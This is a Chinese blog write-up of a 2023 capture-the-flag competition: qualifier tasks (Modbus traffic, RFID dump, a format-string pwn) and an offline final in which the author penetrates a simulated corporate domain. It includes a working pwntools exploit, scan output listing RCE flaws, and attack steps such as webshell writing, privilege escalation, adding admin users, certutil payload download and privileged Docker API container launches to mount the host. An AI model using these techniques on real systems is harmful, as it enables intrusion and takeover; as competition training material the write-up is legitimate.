0x00 前言

这次比赛也是认识了许多大师傅,同时也感谢我的队友Carray全场拿下第一

0x01 线上初赛 (来自 XMUTSEC)

1.1签到题

给了密钥跟值 https://www.sojson.com/encrypt_aes.html

86253-6pi269ik57m.png

1.2 Modbus

非常经典的Modbus协议

03323-z37zqf56ocr.png

import pyshark captures = pyshark.FileCapture("flag.pcapng", tshark_path="F:\\Wireshark\\tshark.exe") func_codes = {} idx = 1 flag = False for c in captures: for pkt in c: if pkt.layer_name == "modbus": func_code = int(pkt.func_code) if func_code == 16: if flag: flag = False continue payload = str(c["TCP"].payload).split(":")[-1] payload = '0x' + payload print(chr(int(payload, 16)), end="") flag = True idx += 1

运行得到,十六进制解码即可

79459-d0vgmhapdw4.png

1.3 RFID

题目给了key_retail.bin,可以猜测这是RFID的Amiibo的key文件,结合sniff_log.log,可以得知要我们还原卡log上的数据,把log定位一下卡起始位置,直接对a2 xx进行一个十六进制的排序,写个脚本整理一下数据集得到

04ebc2a5 42484b80 c1480fe0 f110ffee a5000000 a5795220 f8f12a5e a0a913f4 0d6d80b8 b63471f0 0cf81923 1cac3639 506a3198 7a3d0ea8 88e5ef63 0643dc05 b853d249 28581a92 5749a5d7 2f08fe10 c7dfc0c5 08020000 025e0402 0d125603 df2fd4d8 b6edcb3e 55d752cc c0eebd7c bc3ecb1c 039d19a0 92d670f4 121c743f 132f0b90 e1a90218 544f6cfe 646a13c9 5609511b d405acca 3354ce1c d37d20c5 f1429fc7 7b233213 af88275d 54481e9d 578e3764 4cc608ab caf8a3db d2067f79 7b40f54a 641dd981 ae942edd fb10b5d8 2658a4f4 fee5a095 b77be490 afa7c57a f3e0c9d5 0ab442e3 f5c36d98 c9fc4d42 4cf11147 d44592cf 4349b7e4 f5f7c724 bfaa8796 b0ef16e7 d058189d 9b808c7f 1b5a0745 4c2eb806 3036842d d0fafbb6 392d8555 29c6a621 1232b34c 2583b3c8 8258d13b 56cf5eff b4d64f87 183278a8 03218ca8 e6039921 f6c58a68 c061b88d 9ca14e08 0fe647e1 1b624e0b 271a1107 13a24cb8 d2864754 2fbdb259 b18178fc 606bc359 f3af1f4e 982ffac3 c824437f 4cfbbbec aab965fa ab6f0544 43b1a5c2 9fc9c3d6 6522780d 90406835 c5f47f43 935d9093 815c9600 f638fff7 3faea32a 53a77ca7 dcfa8f3d 6836a75c 18d3c548 ebe129b5 6ccb5e9a 57e15f3e 1d328249 7f6c1f59 27f367d5 b2e9ae97 57bf8b19 da6c09f4 5d4f9789 d01ee44c 04902e28 6c2bf289 ef2c0c2d b162abc9 ab40f993 03361a1f e7145b2a 01000fbd 00000004 5f000000 00000000 00000000

然后直接010梭哈还原成bin,根据题目给定的Key对数据进行一个还原

01539-yp7o99lkvc.png

然后得到上面这个效果,因为作者使用的是3ds的人物模型,所以我们只需要网上找一个模型编辑软件查看一下就好了

52063-s3coh53a1oo.png

查看十六进制得到flag

31530-mbi1q5srxg.png

1.4 Stm32

33681-sgi2ox0mcrr.png

1.5 调皮的复读姬

查看保护

06846-rf2n09jhy7.png

ida 反编译后在choose 后发现利用点

09560-bhnw7x5pmm8.png

当choose = 4294967293时触发

puts("You find a Repeater!"); read(0,buf,0xC8); printf(buf);

明显的格式化字符串漏洞又因为无Full RELRO所以修改got表修改scanf处got EXP

from pwn import * from LibcSearcher import * context( terminal=["wt.exe", "wsl"], os = "linux", arch ='amd64', #arch = "i386", log_level='debug' ) elf = ELF('./pwn') #io = process('./pwn') #libc = ELF("") io = remote("39.106.48.123",36951) def debug(): gdb.attach(io) pause() #code here #debug() scanf_got = elf.got['__isoc99_scanf'] Xiao_Si_addr = elf.sym['Xiao_Si'] payload = fmtstr_payload(6,{scanf_got:Xiao_Si_addr}) io.sendlineafter(b'choose:',str(4294967293).encode()) io.sendafter(b'You find a Repeater!\n',payload) io.interactive()

26166-erqk4erhexm.png

题目地址 https://github.com/CTF-Archives/2023-fjsdxssjan 可以给XMUTSEC的师傅点点start

0x02 线下决赛

2.0 线下赛说明

靶场都是在云上的,赛前需要提供一台vps用来反弹shell等,然后赛场有配置策略 只能访问靶场,跟vps 其他都访问不了,现场会收手机,还有信号屏蔽器(无线鼠标全寄) Σ(っ °Д °;)っ,比赛开始时发一张小条子上面有题目的ip每个队伍不一样,总共十道题

38368-21cghj4xuag.png

2.1 节点1-Portal

可以看到图标是thinkphp

12253-82vyisuaaoj.png

Thinkphp rce 直接攻击写shell

85687-b6aaweo925d.png

flag在根目录

07508-dzaoeftc95l.png

随后上传fscan跟搭建代理进行内网扫描,扫描结果如下,有些ip不一样但是是同一台机器,通过主机名来归纳

[*] WebTitle: http://172.24.15.39 code:200 len:4475 title:AirTrain 项目管理系统 [*] NetInfo: [*]172.27.10.11 [->]DC01 [->]172.27.10.11 [*] NetInfo: [*]172.22.18.31 [->]WIN-OA [->]172.22.18.31 [->]172.24.18.24 [*] NetInfo: [*]172.24.15.27 [->]WIN-MSSQL [->]172.24.15.27 [*] NetInfo: [*]172.24.18.24 [->]WIN-OA [->]172.22.18.31 [->]172.24.18.24 [*] NetInfo: [*]172.24.15.39 [->]WIN-IIS7077 [->]172.24.15.39 [*] NetInfo: [*]172.22.18.42 [->]WIN-OPS01 [->]172.22.18.42 [->]172.27.10.15 [*] NetInfo: [*]172.27.10.15 [->]WIN-OPS01 [->]172.22.18.42 [->]172.27.10.15 [+] mysql:172.24.15.39:3306: 123456 [*] WebTitle: http://172.22.18.34:2375 code:404 len:29 title:None [*] WebTitle: http://172.24.15.27 code:404 len:315 title:Not Found [*] WebTitle: http://172.22.18.34 code:200 len:554 title:Index of / [*] NetBios: 172.27.10.21 PC01.airtrain.local Windows Server 2016 Datacenter 14393 [+] ftp://172.22.18.42:21:anonymous [->]gif [->]jpg [->]mp4 [*] NetBios: 172.22.18.31 WORKGROUP\WIN-OA Windows Server 2016 Datacenter 14393 [*] NetBios: 172.27.10.11 [+]DC DC01.airtrain.local Windows Server 2016 Datacenter 14393 [*] NetInfo: [*]172.27.10.21 [->]PC01 [->]172.27.10.21 [*] WebTitle: http://172.22.18.23 code:200 len:18183 title:Home [*] WebTitle: http://172.27.10.15 code:200 len:703 title:IIS Windows Server [*] WebTitle: http://172.22.18.42 code:200 len:703 title:IIS Windows Server [*] WebTitle: http://172.24.18.24 code:302 len:0 title:None 跳转url: http://172.24.18.24?m=login [*] NetBios: 172.24.18.24 WORKGROUP\WIN-OA Windows Server 2016 Datacenter 14393 [*] WebTitle: http://172.22.18.31 code:302 len:0 title:None 跳转url: http://172.22.18.31?m=login [*] 172.27.10.11 (Windows Server 2016 Datacenter 14393) [*] WebTitle: http://172.22.18.31?m=login code:200 len:4036 title:信呼协同办公系统 [*] WebTitle: http://172.24.18.24?m=login code:200 len:4036 title:信呼协同办公系统 [+] http://172.22.18.34:2375 poc-yaml-docker-api-unauthorized-rce [+] http://172.22.18.34:2375 poc-yaml-go-pprof-leak [+] http://172.22.18.31?m=login poc-yaml-phpstudy-backdoor-rce [+] http://172.24.18.24?m=login poc-yaml-phpstudy-backdoor-rce [+] http://172.22.18.23 poc-yaml-thinkphp5023-method-rce poc1

2.2 节点2-运维主机

访问是个IIS界面

94614-ddlmz0kg8ne.png

扫描目录发现files

16940-imk0i3vk1q.png

访问发现有目录遍历

00867-wuxjcspbl8.png

配合前面扫出来的ftp你们登入发现ftp目录在web目录下

[+] ftp://172.22.18.42:21:anonymous [->]gif [->]jpg [->]mp4

直接写马

20391-h76noglya7a.png

土豆提权到system,然后就是加管理员用户

00810-qisjs5mrg5a.png

这次桌面只有一个谷歌浏览器

21057-0oi24akxut4d.png

flag在C:\Users\Administrator\flag文件夹里面

78652-y91dm6jf9nb.png

2.3 节点3

2.3.1-OA系统

打开是个信呼oa,这里存在phpstudy-backdoor-rce 也就是phpstudy后门漏洞

07194-v1y91e9j8h8.png

验证一下

28116-uo7j2papd8.png

然后直接添加一个管理员用户登入远程桌面,这里选择直接添加用户是因为前一两个小时环境有问题没办法写入马,桌面上有个谷歌浏览器跟Navicat

87850-1agm6vghtmx.png

flag在C:\Users\Administrator\flag文件夹里面

46532-jkg3tsdp5r.png

2.3.2 员工数据泄露

通过桌面上的Navicat链接本地数据库,里面有个staffdb底部就有flag

99290-03v33b6c1hlg.png

2.4 节点4

2.4.1 飞行器数据泄露

通过修改信呼oa那台的管理员账号然后登入远程桌面,可以发现桌面有个Navicat

44070-1jrdwrvehxa.png

打开可以发现里面保存着172.24.15.27 数据库的连接凭证然后连接数据库查看flag

67493-inn2traxuv.png

2.4.2 SQLServer

通过xpcmdshell执行命令能看到是数据库权限用户

38481-upjomezuwhm.png

通过msf生成一个shell然后上传到内网的任意一台web上,通过certutil下载到SqlServer机器上然后运行

60276-djfuq1qpl5.png

然后通过getsystem提权到system

53604-yxzfedzb7xh.png

得到flag

81101-2ko8gfn8376.png

2.5 节点5 项目管理系统

前面扫到弱口令

[+] mysql:172.24.15.39:3306: 123456

通过查询@@basedir得到路径为phpstudy

74849-ktjgk5b8ux.png

数据库日志写马(这里环境一开始有问题到后面才可以写入,一开始发现www写不进去一直在试写dll打算udf执行命令)

04300-ge5cqnx59rb.png

新建用户

72653-7e517a5tuhc.png

登入远程桌面,flag在C:\Users\Administrator\flag文件夹里面

37088-m8k00ny8akb.png

2.6 节点6-Docker

docker api 未授权

[+] http://172.22.18.34:2375 poc-yaml-docker-api-unauthorized-rce

查看镜像

docker -H tcp://192.168.3.23:2375 images

53520-hneuzg4kt6.png

特权模式运行容器然后挂载目录,(直接-v映射目录也可以),flag在/var/lib/mysql/flag/flagishere.itd

docker -H tcp://192.168.3.23:2375 run -it --privileged alpine /bin/sh

这里把宿主机目录挂载到/root/test

20974-6s6qhy8y1zp.png

然后来到/root/test/root下有mysql的命令日志文件

21282-zbq690z6z0g.png

cat一下就有flag 一个一个试过去就行,就三个

96597-39dtjvy0jg.png

2.7 节点7 办公区主机

查看运维主机的mstsc记录可以发现有登入过域,但是没有密码凭证,花了很多时间来尝试,比如从oa里面拿用户名来爆破,爆破这个zhangxue或者试域的漏洞但是都无果

60350-nn0wa8ei18f.png

2.8 节点8 域控制器

0x03 最后

最后也是凭借6个一血两个二血拿下线下第一名

34042-5ai6jf3hqv.png

当然线上也是第一啦

61161-mmfelugm73i.png

Last modification:October 13, 2024
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/2023-fjss.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢